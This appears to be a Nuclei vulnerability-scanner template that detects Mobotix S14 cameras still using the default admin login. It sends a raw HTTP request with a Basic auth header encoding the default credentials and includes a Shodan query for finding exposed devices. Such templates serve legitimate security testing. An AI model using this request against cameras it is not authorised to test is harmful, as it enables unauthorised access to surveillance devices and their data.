mobotix-default-credentials: Mobotix - Default Login

id: mobotix-default-credentials

info:
  name: Mobotix - Default Login
  author: robotshell
  severity: high
  description: Mobotix contains a default admin login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.mobotix.com/sites/default/files/2020-01/mx_RM_CameraSoftwareManual_en_200131.pdf
  classification:
    cwe-id: CWE-798
    cpe: cpe:2.3:h:mobotix:s14:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: title:"Mobotix"
    product: s14
    vendor: mobotix
  tags: mobotix,default-login,webcam,iot,vuln

http:
  - raw:
      - |
        GET /control/userimage.html HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /control/userimage.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46bWVpbnNt

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(body_1, 'Admin Menu')"
          - "contains(body_2, 'Admin Menu') || contains(body_2, 'Setup Menu') || contains(body_2, 'Audio on')"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a5f6c9e2778c9eac6d680a57723b5786570efa7e7732c851adcca95438e1c8a7022100b6408185ffbd67b84128083506f929f6e4c7cc67c36375930274158e6cc3c3ba:922c64590222798bb761d5b6d8e72950